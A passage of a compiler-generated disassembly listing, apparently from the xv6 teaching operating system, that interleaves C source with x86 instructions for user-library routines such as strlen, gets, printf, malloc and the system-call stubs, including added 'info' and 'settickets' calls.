*s) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 146: 80 39 00 cmpb $0x0,(%ecx) 149: 74 15 je 160 <strlen+0x20> 14b: 31 d2 xor %edx,%edx 14d: 8d 76 00 lea 0x0(%esi),%esi 150: 83 c2 01 add $0x1,%edx 153: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 157: 89 d0 mov %edx,%eax 159: 75 f5 jne 150 <strlen+0x10> ; return n; } 15b: 5d pop %ebp 15c: c3 ret 15d: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 160: 31 c0 xor %eax,%eax } 162: 5d pop %ebp 163: c3 ret 164: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 16a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000170 <memset>: void* memset(void *dst, int c, uint n) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 57 push %edi 174: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 177: 8b 4d 10 mov 0x10(%ebp),%ecx 17a: 8b 45 0c mov 0xc(%ebp),%eax 17d: 89 d7 mov %edx,%edi 17f: fc cld 180: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 182: 89 d0 mov %edx,%eax 184: 5f pop %edi 185: 5d pop %ebp 186: c3 ret 187: 89 f6 mov %esi,%esi 189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000190 <strchr>: char* strchr(const char *s, char c) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 53 push %ebx 194: 8b 45 08 mov 0x8(%ebp),%eax 197: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 19a: 0f b6 10 movzbl (%eax),%edx 19d: 84 d2 test %dl,%dl 19f: 74 1d je 1be <strchr+0x2e> if(*s == c) 1a1: 38 d3 cmp %dl,%bl 1a3: 89 d9 mov %ebx,%ecx 1a5: 75 0d jne 1b4 <strchr+0x24> 1a7: eb 17 jmp 1c0 <strchr+0x30> 1a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1b0: 38 ca cmp %cl,%dl 1b2: 74 0c je 1c0 <strchr+0x30> for(; *s; s++) 1b4: 83 c0 01 add $0x1,%eax 1b7: 0f b6 10 movzbl (%eax),%edx 1ba: 84 d2 test %dl,%dl 1bc: 75 f2 jne 1b0 <strchr+0x20> return (char*)s; return 0; 1be: 31 c0 xor %eax,%eax } 1c0: 5b pop %ebx 1c1: 5d pop %ebp 1c2: c3 ret 1c3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001d0 <gets>: char* gets(char *buf, int max) { 1d0: 55 push %ebp 1d1: 89 e5 mov %esp,%ebp 1d3: 57 push %edi 1d4: 56 push %esi 1d5: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 1d6: 31 f6 xor %esi,%esi 1d8: 89 f3 mov %esi,%ebx { 1da: 83 ec 1c sub $0x1c,%esp 1dd: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 1e0: eb 2f jmp 211 <gets+0x41> 1e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 1e8: 8d 45 e7 lea -0x19(%ebp),%eax 1eb: 83 ec 04 sub $0x4,%esp 1ee: 6a 01 push $0x1 1f0: 50 push %eax 1f1: 6a 00 push $0x0 1f3: e8 32 01 00 00 call 32a <read> if(cc < 1) 1f8: 83 c4 10 add $0x10,%esp 1fb: 85 c0 test %eax,%eax 1fd: 7e 1c jle 21b <gets+0x4b> break; buf[i++] = c; 1ff: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 203: 83 c7 01 add $0x1,%edi 206: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 209: 3c 0a cmp $0xa,%al 20b: 74 23 je 230 <gets+0x60> 20d: 3c 0d cmp $0xd,%al 20f: 74 1f je 230 <gets+0x60> for(i=0; i+1 < max; ){ 211: 83 c3 01 add $0x1,%ebx 214: 3b 5d 0c cmp 0xc(%ebp),%ebx 217: 89 fe mov %edi,%esi 219: 7c cd jl 1e8 <gets+0x18> 21b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 21d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 220: c6 03 00 movb $0x0,(%ebx) } 223: 8d 65 f4 lea -0xc(%ebp),%esp 226: 5b pop %ebx 227: 5e pop %esi 228: 5f pop %edi 229: 5d pop %ebp 22a: c3 ret 22b: 90 nop 22c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 230: 8b 75 08 mov 0x8(%ebp),%esi 233: 8b 45 08 mov 0x8(%ebp),%eax 236: 01 de add %ebx,%esi 238: 89 f3 mov %esi,%ebx buf[i] = '\0'; 23a: c6 03 00 movb $0x0,(%ebx) } 23d: 8d 65 f4 lea -0xc(%ebp),%esp 240: 5b pop %ebx 241: 5e pop %esi 242: 5f pop %edi 243: 5d pop %ebp 244: c3 ret 245: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000250 <stat>: int stat(const char *n, struct stat *st) { 250: 55 push %ebp 251: 89 e5 mov %esp,%ebp 253: 56 push %esi 254: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 255: 83 ec 08 sub $0x8,%esp 258: 6a 00 push $0x0 25a: ff 75 08 pushl 0x8(%ebp) 25d: e8 f0 00 00 00 call 352 <open> if(fd < 0) 262: 83 c4 10 add $0x10,%esp 265: 85 c0 test %eax,%eax 267: 78 27 js 290 <stat+0x40> return -1; r = fstat(fd, st); 269: 83 ec 08 sub $0x8,%esp 26c: ff 75 0c pushl 0xc(%ebp) 26f: 89 c3 mov %eax,%ebx 271: 50 push %eax 272: e8 f3 00 00 00 call 36a <fstat> close(fd); 277: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 27a: 89 c6 mov %eax,%esi close(fd); 27c: e8 b9 00 00 00 call 33a <close> return r; 281: 83 c4 10 add $0x10,%esp } 284: 8d 65 f8 lea -0x8(%ebp),%esp 287: 89 f0 mov %esi,%eax 289: 5b pop %ebx 28a: 5e pop %esi 28b: 5d pop %ebp 28c: c3 ret 28d: 8d 76 00 lea 0x0(%esi),%esi return -1; 290: be ff ff ff ff mov $0xffffffff,%esi 295: eb ed jmp 284 <stat+0x34> 297: 89 f6 mov %esi,%esi 299: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002a0 <atoi>: int atoi(const char *s) { 2a0: 55 push %ebp 2a1: 89 e5 mov %esp,%ebp 2a3: 53 push %ebx 2a4: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 2a7: 0f be 11 movsbl (%ecx),%edx 2aa: 8d 42 d0 lea -0x30(%edx),%eax 2ad: 3c 09 cmp $0x9,%al n = 0; 2af: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 2b4: 77 1f ja 2d5 <atoi+0x35> 2b6: 8d 76 00 lea 0x0(%esi),%esi 2b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 2c0: 8d 04 80 lea (%eax,%eax,4),%eax 2c3: 83 c1 01 add $0x1,%ecx 2c6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 2ca: 0f be 11 movsbl (%ecx),%edx 2cd: 8d 5a d0 lea -0x30(%edx),%ebx 2d0: 80 fb 09 cmp $0x9,%bl 2d3: 76 eb jbe 2c0 <atoi+0x20> return n; } 2d5: 5b pop %ebx 2d6: 5d pop %ebp 2d7: c3 ret 2d8: 90 nop 2d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000002e0 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 2e0: 55 push %ebp 2e1: 89 e5 mov %esp,%ebp 2e3: 56 push %esi 2e4: 53 push %ebx 2e5: 8b 5d 10 mov 0x10(%ebp),%ebx 2e8: 8b 45 08 mov 0x8(%ebp),%eax 2eb: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 2ee: 85 db test %ebx,%ebx 2f0: 7e 14 jle 306 <memmove+0x26> 2f2: 31 d2 xor %edx,%edx 2f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 2f8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 2fc: 88 0c 10 mov %cl,(%eax,%edx,1) 2ff: 83 c2 01 add $0x1,%edx while(n-- > 0) 302: 39 d3 cmp %edx,%ebx 304: 75 f2 jne 2f8 <memmove+0x18> return vdst; } 306: 5b pop %ebx 307: 5e pop %esi 308: 5d pop %ebp 309: c3 ret 0000030a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 30a: b8 01 00 00 00 mov $0x1,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <exit>: SYSCALL(exit) 312: b8 02 00 00 00 mov $0x2,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <wait>: SYSCALL(wait) 31a: b8 03 00 00 00 mov $0x3,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <pipe>: SYSCALL(pipe) 322: b8 04 00 00 00 mov $0x4,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <read>: SYSCALL(read) 32a: b8 05 00 00 00 mov $0x5,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <write>: SYSCALL(write) 332: b8 10 00 00 00 mov $0x10,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <close>: SYSCALL(close) 33a: b8 15 00 00 00 mov $0x15,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <kill>: SYSCALL(kill) 342: b8 06 00 00 00 mov $0x6,%eax 347: cd 40 int $0x40 349: c3 ret 0000034a <exec>: SYSCALL(exec) 34a: b8 07 00 00 00 mov $0x7,%eax 34f: cd 40 int $0x40 351: c3 ret 00000352 <open>: SYSCALL(open) 352: b8 0f 00 00 00 mov $0xf,%eax 357: cd 40 int $0x40 359: c3 ret 0000035a <mknod>: SYSCALL(mknod) 35a: b8 11 00 00 00 mov $0x11,%eax 35f: cd 40 int $0x40 361: c3 ret 00000362 <unlink>: SYSCALL(unlink) 362: b8 12 00 00 00 mov $0x12,%eax 367: cd 40 int $0x40 369: c3 ret 0000036a <fstat>: SYSCALL(fstat) 36a: b8 08 00 00 00 mov $0x8,%eax 36f: cd 40 int $0x40 371: c3 ret 00000372 <link>: SYSCALL(link) 372: b8 13 00 00 00 mov $0x13,%eax 377: cd 40 int $0x40 379: c3 ret 0000037a <mkdir>: SYSCALL(mkdir) 37a: b8 14 00 00 00 mov $0x14,%eax 37f: cd 40 int $0x40 381: c3 ret 00000382 <chdir>: SYSCALL(chdir) 382: b8 09 00 00 00 mov $0x9,%eax 387: cd 40 int $0x40 389: c3 ret 0000038a <dup>: SYSCALL(dup) 38a: b8 0a 00 00 00 mov $0xa,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <getpid>: SYSCALL(getpid) 392: b8 0b 00 00 00 mov $0xb,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <sbrk>: SYSCALL(sbrk) 39a: b8 0c 00 00 00 mov $0xc,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <sleep>: SYSCALL(sleep) 3a2: b8 0d 00 00 00 mov $0xd,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <uptime>: SYSCALL(uptime) 3aa: b8 0e 00 00 00 mov $0xe,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <info>: SYSCALL(info) 3b2: b8 16 00 00 00 mov $0x16,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <settickets>: SYSCALL(settickets) 3ba: b8 17 00 00 00 mov $0x17,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 3c2: 66 90 xchg %ax,%ax 3c4: 66 90 xchg %ax,%ax 3c6: 66 90 xchg %ax,%ax 3c8: 66 90 xchg %ax,%ax 3ca: 66 90 xchg %ax,%ax 3cc: 66 90 xchg %ax,%ax 3ce: 66 90 xchg %ax,%ax 000003d0 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 3d0: 55 push %ebp 3d1: 89 e5 mov %esp,%ebp 3d3: 57 push %edi 3d4: 56 push %esi 3d5: 53 push %ebx 3d6: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 3d9: 85 d2 test %edx,%edx { 3db: 89 45 c0 mov %eax,-0x40(%ebp) neg = 1; x = -xx; 3de: 89 d0 mov %edx,%eax if(sgn && xx < 0){ 3e0: 79 76 jns 458 <printint+0x88> 3e2: f6 45 08 01 testb $0x1,0x8(%ebp) 3e6: 74 70 je 458 <printint+0x88> x = -xx; 3e8: f7 d8 neg %eax neg = 1; 3ea: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) } else { x = xx; } i = 0; 3f1: 31 f6 xor %esi,%esi 3f3: 8d 5d d7 lea -0x29(%ebp),%ebx 3f6: eb 0a jmp 402 <printint+0x32> 3f8: 90 nop 3f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi do{ buf[i++] = digits[x % base]; 400: 89 fe mov %edi,%esi 402: 31 d2 xor %edx,%edx 404: 8d 7e 01 lea 0x1(%esi),%edi 407: f7 f1 div %ecx 409: 0f b6 92 10 08 00 00 movzbl 0x810(%edx),%edx }while((x /= base) != 0); 410: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 412: 88 14 3b mov %dl,(%ebx,%edi,1) }while((x /= base) != 0); 415: 75 e9 jne 400 <printint+0x30> if(neg) 417: 8b 45 c4 mov -0x3c(%ebp),%eax 41a: 85 c0 test %eax,%eax 41c: 74 08 je 426 <printint+0x56> buf[i++] = '-'; 41e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 423: 8d 7e 02 lea 0x2(%esi),%edi 426: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi 42a: 8b 7d c0 mov -0x40(%ebp),%edi 42d: 8d 76 00 lea 0x0(%esi),%esi 430: 0f b6 06 movzbl (%esi),%eax write(fd, &c, 1); 433: 83 ec 04 sub $0x4,%esp 436: 83 ee 01 sub $0x1,%esi 439: 6a 01 push $0x1 43b: 53 push %ebx 43c: 57 push %edi 43d: 88 45 d7 mov %al,-0x29(%ebp) 440: e8 ed fe ff ff call 332 <write> while(--i >= 0) 445: 83 c4 10 add $0x10,%esp 448: 39 de cmp %ebx,%esi 44a: 75 e4 jne 430 <printint+0x60> putc(fd, buf[i]); } 44c: 8d 65 f4 lea -0xc(%ebp),%esp 44f: 5b pop %ebx 450: 5e pop %esi 451: 5f pop %edi 452: 5d pop %ebp 453: c3 ret 454: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 458: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 45f: eb 90 jmp 3f1 <printint+0x21> 461: eb 0d jmp 470 <printf> 463: 90 nop 464: 90 nop 465: 90 nop 466: 90 nop 467: 90 nop 468: 90 nop 469: 90 nop 46a: 90 nop 46b: 90 nop 46c: 90 nop 46d: 90 nop 46e: 90 nop 46f: 90 nop 00000470 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 470: 55 push %ebp 471: 89 e5 mov %esp,%ebp 473: 57 push %edi 474: 56 push %esi 475: 53 push %ebx 476: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 479: 8b 75 0c mov 0xc(%ebp),%esi 47c: 0f b6 1e movzbl (%esi),%ebx 47f: 84 db test %bl,%bl 481: 0f 84 b3 00 00 00 je 53a <printf+0xca> ap = (uint*)(void*)&fmt + 1; 487: 8d 45 10 lea 0x10(%ebp),%eax 48a: 83 c6 01 add $0x1,%esi state = 0; 48d: 31 ff xor %edi,%edi ap = (uint*)(void*)&fmt + 1; 48f: 89 45 d4 mov %eax,-0x2c(%ebp) 492: eb 2f jmp 4c3 <printf+0x53> 494: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 498: 83 f8 25 cmp $0x25,%eax 49b: 0f 84 a7 00 00 00 je 548 <printf+0xd8> write(fd, &c, 1); 4a1: 8d 45 e2 lea -0x1e(%ebp),%eax 4a4: 83 ec 04 sub $0x4,%esp 4a7: 88 5d e2 mov %bl,-0x1e(%ebp) 4aa: 6a 01 push $0x1 4ac: 50 push %eax 4ad: ff 75 08 pushl 0x8(%ebp) 4b0: e8 7d fe ff ff call 332 <write> 4b5: 83 c4 10 add $0x10,%esp 4b8: 83 c6 01 add $0x1,%esi for(i = 0; fmt[i]; i++){ 4bb: 0f b6 5e ff movzbl -0x1(%esi),%ebx 4bf: 84 db test %bl,%bl 4c1: 74 77 je 53a <printf+0xca> if(state == 0){ 4c3: 85 ff test %edi,%edi c = fmt[i] & 0xff; 4c5: 0f be cb movsbl %bl,%ecx 4c8: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 4cb: 74 cb je 498 <printf+0x28> state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 4cd: 83 ff 25 cmp $0x25,%edi 4d0: 75 e6 jne 4b8 <printf+0x48> if(c == 'd'){ 4d2: 83 f8 64 cmp $0x64,%eax 4d5: 0f 84 05 01 00 00 je 5e0 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 4db: 81 e1 f7 00 00 00 and $0xf7,%ecx 4e1: 83 f9 70 cmp $0x70,%ecx 4e4: 74 72 je 558 <printf+0xe8> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 4e6: 83 f8 73 cmp $0x73,%eax 4e9: 0f 84 99 00 00 00 je 588 <printf+0x118> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 4ef: 83 f8 63 cmp $0x63,%eax 4f2: 0f 84 08 01 00 00 je 600 <printf+0x190> putc(fd, *ap); ap++; } else if(c == '%'){ 4f8: 83 f8 25 cmp $0x25,%eax 4fb: 0f 84 ef 00 00 00 je 5f0 <printf+0x180> write(fd, &c, 1); 501: 8d 45 e7 lea -0x19(%ebp),%eax 504: 83 ec 04 sub $0x4,%esp 507: c6 45 e7 25 movb $0x25,-0x19(%ebp) 50b: 6a 01 push $0x1 50d: 50 push %eax 50e: ff 75 08 pushl 0x8(%ebp) 511: e8 1c fe ff ff call 332 <write> 516: 83 c4 0c add $0xc,%esp 519: 8d 45 e6 lea -0x1a(%ebp),%eax 51c: 88 5d e6 mov %bl,-0x1a(%ebp) 51f: 6a 01 push $0x1 521: 50 push %eax 522: ff 75 08 pushl 0x8(%ebp) 525: 83 c6 01 add $0x1,%esi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 528: 31 ff xor %edi,%edi write(fd, &c, 1); 52a: e8 03 fe ff ff call 332 <write> for(i = 0; fmt[i]; i++){ 52f: 0f b6 5e ff movzbl -0x1(%esi),%ebx write(fd, &c, 1); 533: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 536: 84 db test %bl,%bl 538: 75 89 jne 4c3 <printf+0x53> } } } 53a: 8d 65 f4 lea -0xc(%ebp),%esp 53d: 5b pop %ebx 53e: 5e pop %esi 53f: 5f pop %edi 540: 5d pop %ebp 541: c3 ret 542: 8d b6 00 00 00 00 lea 0x0(%esi),%esi state = '%'; 548: bf 25 00 00 00 mov $0x25,%edi 54d: e9 66 ff ff ff jmp 4b8 <printf+0x48> 552: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 558: 83 ec 0c sub $0xc,%esp 55b: b9 10 00 00 00 mov $0x10,%ecx 560: 6a 00 push $0x0 562: 8b 7d d4 mov -0x2c(%ebp),%edi 565: 8b 45 08 mov 0x8(%ebp),%eax 568: 8b 17 mov (%edi),%edx 56a: e8 61 fe ff ff call 3d0 <printint> ap++; 56f: 89 f8 mov %edi,%eax 571: 83 c4 10 add $0x10,%esp state = 0; 574: 31 ff xor %edi,%edi ap++; 576: 83 c0 04 add $0x4,%eax 579: 89 45 d4 mov %eax,-0x2c(%ebp) 57c: e9 37 ff ff ff jmp 4b8 <printf+0x48> 581: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 588: 8b 45 d4 mov -0x2c(%ebp),%eax 58b: 8b 08 mov (%eax),%ecx ap++; 58d: 83 c0 04 add $0x4,%eax 590: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 593: 85 c9 test %ecx,%ecx 595: 0f 84 8e 00 00 00 je 629 <printf+0x1b9> while(*s != 0){ 59b: 0f b6 01 movzbl (%ecx),%eax state = 0; 59e: 31 ff xor %edi,%edi s = (char*)*ap; 5a0: 89 cb mov %ecx,%ebx while(*s != 0){ 5a2: 84 c0 test %al,%al 5a4: 0f 84 0e ff ff ff je 4b8 <printf+0x48> 5aa: 89 75 d0 mov %esi,-0x30(%ebp) 5ad: 89 de mov %ebx,%esi 5af: 8b 5d 08 mov 0x8(%ebp),%ebx 5b2: 8d 7d e3 lea -0x1d(%ebp),%edi 5b5: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 5b8: 83 ec 04 sub $0x4,%esp s++; 5bb: 83 c6 01 add $0x1,%esi 5be: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 5c1: 6a 01 push $0x1 5c3: 57 push %edi 5c4: 53 push %ebx 5c5: e8 68 fd ff ff call 332 <write> while(*s != 0){ 5ca: 0f b6 06 movzbl (%esi),%eax 5cd: 83 c4 10 add $0x10,%esp 5d0: 84 c0 test %al,%al 5d2: 75 e4 jne 5b8 <printf+0x148> 5d4: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 5d7: 31 ff xor %edi,%edi 5d9: e9 da fe ff ff jmp 4b8 <printf+0x48> 5de: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 5e0: 83 ec 0c sub $0xc,%esp 5e3: b9 0a 00 00 00 mov $0xa,%ecx 5e8: 6a 01 push $0x1 5ea: e9 73 ff ff ff jmp 562 <printf+0xf2> 5ef: 90 nop write(fd, &c, 1); 5f0: 83 ec 04 sub $0x4,%esp 5f3: 88 5d e5 mov %bl,-0x1b(%ebp) 5f6: 8d 45 e5 lea -0x1b(%ebp),%eax 5f9: 6a 01 push $0x1 5fb: e9 21 ff ff ff jmp 521 <printf+0xb1> putc(fd, *ap); 600: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 603: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 606: 8b 07 mov (%edi),%eax write(fd, &c, 1); 608: 6a 01 push $0x1 ap++; 60a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 60d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 610: 8d 45 e4 lea -0x1c(%ebp),%eax 613: 50 push %eax 614: ff 75 08 pushl 0x8(%ebp) 617: e8 16 fd ff ff call 332 <write> ap++; 61c: 89 7d d4 mov %edi,-0x2c(%ebp) 61f: 83 c4 10 add $0x10,%esp state = 0; 622: 31 ff xor %edi,%edi 624: e9 8f fe ff ff jmp 4b8 <printf+0x48> s = "(null)"; 629: bb 07 08 00 00 mov $0x807,%ebx while(*s != 0){ 62e: b8 28 00 00 00 mov $0x28,%eax 633: e9 72 ff ff ff jmp 5aa <printf+0x13a> 638: 66 90 xchg %ax,%ax 63a: 66 90 xchg %ax,%ax 63c: 66 90 xchg %ax,%ax 63e: 66 90 xchg %ax,%ax 00000640 <free>: static Header base; static Header *freep; void free(void *ap) { 640: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 641: a1 d4 0a 00 00 mov 0xad4,%eax { 646: 89 e5 mov %esp,%ebp 648: 57 push %edi 649: 56 push %esi 64a: 53 push %ebx 64b: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 64e: 8d 4b f8 lea -0x8(%ebx),%ecx 651: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 658: 39 c8 cmp %ecx,%eax 65a: 8b 10 mov (%eax),%edx 65c: 73 32 jae 690 <free+0x50> 65e: 39 d1 cmp %edx,%ecx 660: 72 04 jb 666 <free+0x26> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 662: 39 d0 cmp %edx,%eax 664: 72 32 jb 698 <free+0x58> break; if(bp + bp->s.size == p->s.ptr){ 666: 8b 73 fc mov -0x4(%ebx),%esi 669: 8d 3c f1 lea (%ecx,%esi,8),%edi 66c: 39 fa cmp %edi,%edx 66e: 74 30 je 6a0 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 670: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 673: 8b 50 04 mov 0x4(%eax),%edx 676: 8d 34 d0 lea (%eax,%edx,8),%esi 679: 39 f1 cmp %esi,%ecx 67b: 74 3a je 6b7 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 67d: 89 08 mov %ecx,(%eax) freep = p; 67f: a3 d4 0a 00 00 mov %eax,0xad4 } 684: 5b pop %ebx 685: 5e pop %esi 686: 5f pop %edi 687: 5d pop %ebp 688: c3 ret 689: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 690: 39 d0 cmp %edx,%eax 692: 72 04 jb 698 <free+0x58> 694: 39 d1 cmp %edx,%ecx 696: 72 ce jb 666 <free+0x26> { 698: 89 d0 mov %edx,%eax 69a: eb bc jmp 658 <free+0x18> 69c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 6a0: 03 72 04 add 0x4(%edx),%esi 6a3: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 6a6: 8b 10 mov (%eax),%edx 6a8: 8b 12 mov (%edx),%edx 6aa: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6ad: 8b 50 04 mov 0x4(%eax),%edx 6b0: 8d 34 d0 lea (%eax,%edx,8),%esi 6b3: 39 f1 cmp %esi,%ecx 6b5: 75 c6 jne 67d <free+0x3d> p->s.size += bp->s.size; 6b7: 03 53 fc add -0x4(%ebx),%edx freep = p; 6ba: a3 d4 0a 00 00 mov %eax,0xad4 p->s.size += bp->s.size; 6bf: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 6c2: 8b 53 f8 mov -0x8(%ebx),%edx 6c5: 89 10 mov %edx,(%eax) } 6c7: 5b pop %ebx 6c8: 5e pop %esi 6c9: 5f pop %edi 6ca: 5d pop %ebp 6cb: c3 ret 6cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000006d0 <malloc>: return freep; } void* malloc(uint nbytes) { 6d0: 55 push %ebp 6d1: 89 e5 mov %esp,%ebp 6d3: 57 push %edi 6d4: 56 push %esi 6d5: 53 push %ebx 6d6: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6d9: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 6dc: 8b 15 d4 0a 00 00 mov 0xad4,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6e2: 8d 78 07 lea 0x7(%eax),%edi 6e5: c1 ef 03 shr $0x3,%edi 6e8: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 6eb: 85 d2 test %edx,%edx 6ed: 0f 84 9d 00 00 00 je 790 <malloc+0xc0> 6f3: 8b 02 mov (%edx),%eax 6f5: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 6f8: 39 cf cmp %ecx,%edi 6fa: 76 6c jbe 768 <malloc+0x98> 6fc: 81 ff 00 10 00 00 cmp $0x1000,%edi 702: bb 00 10 00 00 mov $0x1000,%ebx 707: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 70a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 711: eb 0e jmp 721 <malloc+0x51> 713: 90 nop 714: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 718: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 71a: 8b 48 04 mov 0x4(%eax),%ecx 71d: 39 f9 cmp %edi,%ecx 71f: 73 47 jae 768 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 721: 39 05 d4 0a 00 00 cmp %eax,0xad4 727: 89 c2 mov %eax,%edx 729: 75 ed jne 718 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 72b: 83 ec 